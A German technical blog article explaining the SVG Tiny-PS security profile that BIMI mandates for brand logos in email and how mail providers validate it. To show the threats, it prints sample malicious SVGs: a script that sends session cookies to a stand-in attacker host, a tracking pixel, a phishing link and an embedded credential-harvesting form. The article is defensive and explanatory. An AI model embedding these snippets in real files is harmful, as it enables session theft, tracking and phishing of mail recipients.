SVG Tiny-PS: das von BIMI vorgeschriebene Sicherheitsprofil verstehen
Von CaptainDNS
Veröffentlicht am 2. März 2026

- Standard-SVG kann JavaScript-Scripts, Phishing-Links und Tracking-Pixel enthalten: Fähigkeiten, die mit einem Posteingang unvereinbar sind
- Das Profil SVG Tiny 1.2 PS (Portable/Secure) eliminiert jede Codeausführung, jedes externe Laden und jede Interaktivität
- Gmail, Yahoo Mail und Apple Mail parsen jedes BIMI-Logo und lehnen jede Datei ab, die gegen die Einschränkungen des PS-Profils verstößt
Eine SVG-Datei ist kein einfaches Bild. Es ist ein XML-Dokument, das JavaScript, Hyperlinks, Anfragen an externe Server und sogar eingebettetes HTML über <foreignObject> enthalten kann. Diese Fähigkeiten, die im Web nützlich sind, werden im E-Mail-Kontext zu Waffen.
BIMI (Brand Indicators for Message Identification) zeigt das Logo einer Marke direkt im Posteingang des Empfängers an. Wenn dieses Logo Code ausführen oder externe Ressourcen laden könnte, würde es zum zugänglichsten jemals eingesetzten Angriffsvektor: in jeder empfangenen E-Mail vorhanden, automatisch angezeigt, ohne Interaktion des Nutzers.
Deshalb schreibt BIMI ein ultra-restriktives SVG-Profil vor: SVG Tiny 1.2 PS (Portable/Secure). Dieser Artikel beschreibt den Ursprung dieses Profils, die Bedrohungen, die es neutralisiert, und wie E-Mail-Anbieter es durchsetzen.
Vom W3C zu BIMI: Woher kommt das Profil SVG Tiny-PS?
Das Profil SVG Tiny-PS kommt nicht aus dem Nichts. Es baut auf zwei Jahrzehnten Standardisierungsarbeit des W3C auf, angepasst an die spezifischen Anforderungen von E-Mail.
SVG Tiny 1.2: ein Standard für ressourcenbeschränkte Geräte
2008 veröffentlichte das W3C die Spezifikation SVG Tiny 1.2. Das ursprüngliche Ziel hatte nichts mit E-Mail zu tun: Es ging darum, die Darstellung von Vektorgrafiken auf mobilen Geräten mit begrenzten Ressourcen zu ermöglichen (damalige Mobiltelefone, PDAs, eingebettete Browser).
SVG Tiny 1.2 entfernt die aufwändigsten Funktionen von SVG Full: keine komplexen Filter, kein <foreignObject>, kein erweitertes CSS. Die verbleibende Teilmenge reicht aus, um Icons, Logos und einfache Illustrationen anzuzeigen.
Die PS-Erweiterung: die Sicherheitsschicht von BIMI
Als die BIMI Working Group ein Bildformat für Markenlogos in E-Mails suchte, war SVG Tiny 1.2 ein guter Ausgangspunkt. Das Format ist leichtgewichtig, standardisiert und nicht von festen Auflösungen abhängig. Aber SVG Tiny 1.2 behält noch Fähigkeiten bei, die für die E-Mail-Sicherheit problematisch sind:
- JavaScript-Scripts (
<script>) sind in SVG Tiny 1.2 weiterhin erlaubt - Hyperlinks (
<a>) bleiben zugelassen - Animationen (
<animate>,<set>) funktionieren
Die BIMI Working Group fügte daher eine zusätzliche Einschränkungsebene hinzu, die PS (Portable/Secure) getauft wurde. Das Ergebnis ist ein Profil, das über das Attribut baseProfile="tiny-ps" im <svg>-Wurzelelement deklariert wird:
<svg xmlns="http://www.w3.org/2000/svg"
version="1.2"
baseProfile="tiny-ps"
viewBox="0 0 512 512">
<!-- Logo-Inhalt -->
</svg>
Das Attribut baseProfile="tiny-ps" signalisiert Parsern, dass die Datei den PS-Einschränkungen unterliegt. Ein E-Mail-Anbieter, der ein SVG ohne dieses Attribut vorfindet, lehnt es ab, selbst wenn der Inhalt technisch konform ist.
Welche Angriffsvektoren kann eine SVG-Datei enthalten?
Um die Einschränkungen zu verstehen, muss man zunächst die Risiken verstehen. Eine klassische SVG-Datei bietet im E-Mail-Kontext fünf große Angriffsflächen.
JavaScript-Codeausführung
SVG unterstützt das <script>-Tag mit vollständigem JavaScript. In einem Browser ist das eine Funktion. In einem Posteingang ist es eine XSS-Schwachstelle (Cross-Site Scripting) auf dem Silbertablett:
<!-- Bösartiges SVG: Session-Diebstahl -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch('https://attacker.example/steal?cookie=' + document.cookie);
</script>
<circle cx="50" cy="50" r="40" fill="#0EA5E9"/>
</svg>
Eine solche Datei, als BIMI-Logo angezeigt, könnte auf das DOM des Webmail-Clients zugreifen, Session-Cookies exfiltrieren oder Inhalte in die Seite injizieren.
Laden externer Ressourcen
Das <image>-Tag ermöglicht das Laden von Bildern von einem entfernten Server. Es ist ein als Logo getarntes Tracking-Pixel:
<!-- SVG mit Tracking-Pixel -->
<svg xmlns="http://www.w3.org/2000/svg">
<image href="https://tracker.example/pixel.gif?uid=12345"
width="1" height="1"/>
<circle cx="50" cy="50" r="40" fill="#10B981"/>
</svg>
Jede Anzeige des Logos löst eine HTTP-Anfrage aus. Der Angreifer weiß, wann, wo und wie oft die E-Mail geöffnet wird (IP-Adresse, User Agent, Häufigkeit).
Phishing-Links
Das <a>-Element erstellt klickbare Bereiche in einem SVG. Ein vollständig klickbares Logo, das auf eine Phishing-Seite weiterleitet, würde den meisten Nutzern nicht auffallen:
<!-- SVG mit Phishing-Link -->
<svg xmlns="http://www.w3.org/2000/svg">
<a href="https://fake-bank.example/login">
<rect width="100" height="100" fill="#8B5CF6"/>
<text x="50" y="55" text-anchor="middle" fill="white">Logo</text>
</a>
</svg>
Eingebetteter HTML-Inhalt
<foreignObject> ermöglicht das Einschleusen von beliebigem HTML und CSS in ein SVG. Das ist die größte Angriffsfläche: Formulare, iframes, verschachtelte Scripts:
<!-- SVG mit eingebettetem HTML -->
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject width="100%" height="100%">
<div xmlns="http://www.w3.org/1999/xhtml">
<form action="https://attacker.example/phish">
<input type="text" placeholder="E-Mail"/>
<input type="password" placeholder="Passwort"/>
<button>Anmelden</button>
</form>
</div>
</foreignObject>
</svg>
Animationen und ereignisbasierte Interaktionen
Die Elemente <animate>, <set> und die Attribute onclick, onmouseover ermöglichen dynamisches Verhalten. Ein animiertes Logo könnte eine Benutzeroberfläche simulieren, falsche Schaltflächen anzeigen oder Aktionen beim Überfahren auslösen.

Wie neutralisiert das PS-Profil jede Bedrohung?
Das PS-Profil wendet drei Kategorien von Einschränkungen an. Jede zielt auf eine bestimmte Bedrohungsgruppe ab.
Kategorie 1: verbotene Elemente
Das PS-Profil entfernt bestimmte XML-Elemente vollständig aus dem erlaubten SVG-Vokabular:
| Verbotenes Element | Neutralisierte Bedrohung |
|---|---|
<script> | JavaScript-Codeausführung (XSS) |
<image> | Laden externer Ressourcen (Tracking) |
<a> | Klickbare Phishing-Links |
<foreignObject> | Einschleusung von beliebigem HTML/CSS |
<animate>, <animateTransform>, <set> | Animationen und dynamisches Verhalten |
<filter>, <feGaussianBlur> | Komplexe Filter (unvorhersehbares Rendering) |
<pattern>, <mask>, <symbol> | Erweiterte Elemente, die für ein Logo nicht nötig sind |
<marker>, <switch>, <cursor> | Interaktivität und Anpassung |
Wenn eine SVG-Datei auch nur eines dieser Elemente enthält, lehnt der Anbieter sie vollständig ab. Es gibt keinen Fallback-Modus: ein einziges verbotenes Element reicht aus.
Kategorie 2: entfernte Attribute und Ereignisse
Selbst bei erlaubten Elementen sind bestimmte Attribute verboten:
- JavaScript-Ereignisse:
onclick,onmouseover,onload,onfocusinund alleon*-Attribute - Externe Referenzen:
xlink:href, das auf eine externe URL zeigt (interne Referenzen mit#idbleiben erlaubt) - Komplexe CSS-Stile:
<style>-Blöcke sind verboten; Eigenschaften müssen als Inline-Attribute deklariert werden (fill="#0EA5E9")
Kategorie 3: vorgeschriebene Struktur
Das PS-Profil schreibt eine präzise Struktur für das <svg>-Wurzelelement vor:
| Attribut | Erforderlicher Wert | Funktion |
|---|---|---|
version | 1.2 | Deklariert die Teilmenge SVG Tiny 1.2 |
baseProfile | tiny-ps | Aktiviert die PS-Einschränkungen |
viewBox | 0 0 X X (quadratisch) | Garantiert ein 1:1-Seitenverhältnis für die Anzeige |
xmlns | http://www.w3.org/2000/svg | Standard-SVG-Namespace |
Die quadratische viewBox ist streng genommen keine Sicherheitseinschränkung. Sie garantiert, dass das Logo unabhängig vom E-Mail-Client und der Größe des Anzeigebereichs korrekt dargestellt wird.
Erlaubte Elemente
Was nach der Filterung übrig bleibt, bildet das minimale Vokabular zum Zeichnen eines Logos:
Container: <svg>, <g>, <defs>
Formen: <rect>, <circle>, <ellipse>, <line>, <polyline>, <polygon>, <path>
Text: <text>, <tspan>
Farben: <linearGradient>, <radialGradient>, <stop>, <solidColor>
Beschneidung: <clipPath>, <use> (nur lokale Referenz)
Barrierefreiheit: <title>, <desc>
Dieses Vokabular reicht aus, um jedes beliebige Markenlogo nachzubilden. Logos brauchen keine Scripts, Animationen oder Links: Sie sind von Natur aus statische Bilder.
Wie validieren E-Mail-Anbieter ein SVG-Tiny-PS-Logo?
E-Mail-Anbieter vertrauen dem Attribut baseProfile="tiny-ps" nicht blind. Sie parsen die Datei vollständig und prüfen jedes Element.
Der Validierungsprozess
Die Validierung folgt einer Pipeline mit vier Schritten:
- Abruf: Der Anbieter lädt die SVG-Datei von der im BIMI-DNS-Eintrag angegebenen URL herunter (
l=https://...) - XML-Parsing: Die Datei wird als striktes XML-Dokument geparst. Jede fehlerhafte Datei wird abgelehnt
- Strukturprüfung: Vorhandensein von
version="1.2",baseProfile="tiny-ps", quadratischerviewBox, korrekter Namespace - Elementanalyse: Jeder XML-Knoten wird mit der Whitelist abgeglichen. Ein verbotenes Element führt zur sofortigen Ablehnung
Unterschiede zwischen Anbietern
| Kriterium | Gmail | Yahoo Mail | Apple Mail |
|---|---|---|---|
| SVG-Tiny-PS-Validierung | Strikt | Strikt | Strikt |
| VMC/CMC-Zertifikat erforderlich | Ja | Nein | Nein |
| Logo-Caching | Lang (Tage) | Mittel (Stunden) | Kurz |
DMARC p=reject obligatorisch | Ja | Nein (p=quarantine reicht) | Nein (p=quarantine reicht) |
Gmail wendet die strengste Validierung an. Neben dem SVG-Tiny-PS-Format verlangt es ein VMC-Zertifikat (Verified Mark Certificate) oder CMC-Zertifikat (Common Mark Certificate), das das Logo kryptografisch mit der Markenidentität verknüpft. Yahoo Mail und Apple Mail zeigen das Logo ohne Zertifikat an, validieren das Format aber mit derselben Strenge.
Häufigste Ablehnungsgründe
Die häufigsten Ablehnungsursachen sind:
baseProfilefehlt: Die Datei deklariert keinbaseProfile="tiny-ps"(etwa 50 % der Fälle)<style>-Block vorhanden: Grafikeditoren exportieren Farben als CSS, nicht als Inline-Attribute<image>-Element erkannt: Ein in Base64 eingebettetes Bitmap im SVGviewBoxnicht quadratisch: Seitenverhältnis ungleich 1:1- Überflüssiger Namespace:
xmlns:inkscape,xmlns:xlinkmit ungenutzten Referenzen

🎯 Empfohlener Aktionsplan
- Aktuelle SVG-Datei prüfen: Öffne sie in einem Texteditor und suche nach verbotenen Elementen (
<script>,<image>,<style>,<a>,<animate>) - Wurzelattribute überprüfen: Bestätige das Vorhandensein von
version="1.2",baseProfile="tiny-ps"und einer quadratischenviewBox - Automatisch konvertieren: Lass die Datei durch einen SVG-Tiny-PS-Konverter laufen, um verbotene Elemente zu entfernen und fehlende Attribute hinzuzufügen
- Abruf testen: Verwende das BIMI-Prüftool von CaptainDNS, um zu bestätigen, dass das Logo über den DNS-Eintrag erreichbar und gültig ist
- Updates verfolgen: Die BIMI Working Group kann die Einschränkungen anpassen; konsultiere regelmäßig die RFC 9495
FAQ
Was ist das Profil SVG Tiny-PS?
SVG Tiny 1.2 PS (Portable/Secure) ist eine eingeschränkte Teilmenge des SVG-Formats, die für BIMI definiert wurde. Es baut auf SVG Tiny 1.2 des W3C auf und fügt Sicherheitseinschränkungen hinzu: keine Scripts, keine Links, keine externen Bilder, keine Animationen. Nur statische visuelle Elemente (Formen, Text, Verläufe) sind erlaubt.
Warum akzeptiert BIMI keine Standard-SVG-Dateien?
Eine Standard-SVG-Datei kann JavaScript, Hyperlinks, Tracking-Pixel und eingebettetes HTML enthalten. Eine solche Datei automatisch in einem Posteingang anzuzeigen, würde eine massive Angriffsfläche öffnen. Das Profil SVG Tiny-PS eliminiert diese Fähigkeiten, damit das Logo ein harmloses statisches Bild bleibt.
Was ist der Unterschied zwischen SVG Tiny 1.2 und SVG Tiny-PS?
SVG Tiny 1.2 ist ein W3C-Standard, der für mobile Geräte entwickelt wurde. Er entfernt die aufwändigsten Funktionen von SVG Full, behält aber Scripts und Links bei. SVG Tiny-PS fügt eine Ebene von BIMI-spezifischen Sicherheitseinschränkungen hinzu: Verbot von Scripts, Links, Animationen und jeglichem externen Laden.
Welche Angriffsarten kann eine bösartige SVG-Datei enthalten?
Eine bösartige SVG-Datei kann JavaScript zur XSS-Ausführung, <image>-Tags für Pixel-Tracking, <a>-Links für Phishing, HTML über <foreignObject> zum Einschleusen von Formularen sowie Animationen zum Simulieren falscher UI-Elemente enthalten.
Wie validiert Gmail ein BIMI-Logo?
Gmail lädt das SVG von der im BIMI-DNS-Eintrag deklarierten URL herunter, parst das XML, prüft das Vorhandensein von baseProfile="tiny-ps" und einer quadratischen viewBox und analysiert dann jedes Element gegen die Whitelist des PS-Profils. Zusätzlich verlangt es ein gültiges VMC- oder CMC-Zertifikat, um das Logo mit dem Verifizierungsbadge anzuzeigen.
Erlaubt das Profil SVG Tiny-PS Verläufe und Farben?
Ja. Lineare Verläufe (<linearGradient>), radiale Verläufe (<radialGradient>) und Farben (fill, stroke, <solidColor>) sind erlaubt. Das PS-Profil beschränkt nur Elemente, die ein Sicherheitsrisiko darstellen, nicht dekorative Elemente, die für ein Logo notwendig sind.
Gibt es einen offiziellen Validator für SVG Tiny-PS?
Die BIMI Group stellt keinen offiziellen Validator bereit. E-Mail-Anbieter führen ihre eigene Validierung bei der E-Mail-Verarbeitung durch. Um dein Logo vor der Veröffentlichung zu testen, verwende ein BIMI-Prüftool, das den Validierungsprozess der Anbieter simuliert.
📖 Glossar
- SVG Tiny 1.2 PS: Sicherheitsprofil des SVG-Formats, das von BIMI übernommen wurde. PS steht für Portable/Secure. Es beschränkt SVG Tiny 1.2 auf statische visuelle Elemente und eliminiert Scripts, Links, Animationen und externes Laden.
- XSS (Cross-Site Scripting): Angriff, der JavaScript-Code in eine Webseite einschleust, um Daten zu stehlen oder Sitzungen zu kapern. Ein SVG mit
<script>kann als XSS-Vektor dienen. - baseProfile: XML-Attribut des
<svg>-Tags, das das verwendete SVG-Profil deklariert. Der Werttiny-pssignalisiert dem Parser, dass die Datei die PS-Einschränkungen einhalten muss. - BIMI: Brand Indicators for Message Identification. Standard, der das Logo einer Marke in E-Mail-Clients anzeigt, abhängig von DMARC und (je nach Anbieter) einem VMC/CMC-Zertifikat.
- VMC/CMC: Verified Mark Certificate / Common Mark Certificate. Zertifikate, die ein Logo kryptografisch mit einer Marke verknüpfen. Gmail verlangt eines dieser Zertifikate, um das Verifizierungsbadge anzuzeigen.
- RFC 9495: IETF-Spezifikation von BIMI, veröffentlicht im Dezember 2023. Definiert das DNS-Eintragsformat, den Validierungsprozess und die Anforderungen an das SVG-Logo.
Prüfe die Konformität deines Logos: Lass deine SVG-Datei durch den SVG-Tiny-PS-Konverter von CaptainDNS laufen, um nicht konforme Elemente automatisch zu erkennen und zu korrigieren.
📚 Verwandte BIMI-Leitfäden
- So erstellst du ein BIMI-konformes SVG-Tiny-PS-Logo: praktische Schritt-für-Schritt-Anleitung zum Vorbereiten, Konvertieren und Validieren eines Logos
- BIMI für KMU einrichten: kostengünstiger Leitfaden ohne VMC: BIMI ohne VMC mit überschaubarem Budget Schritt für Schritt einrichten


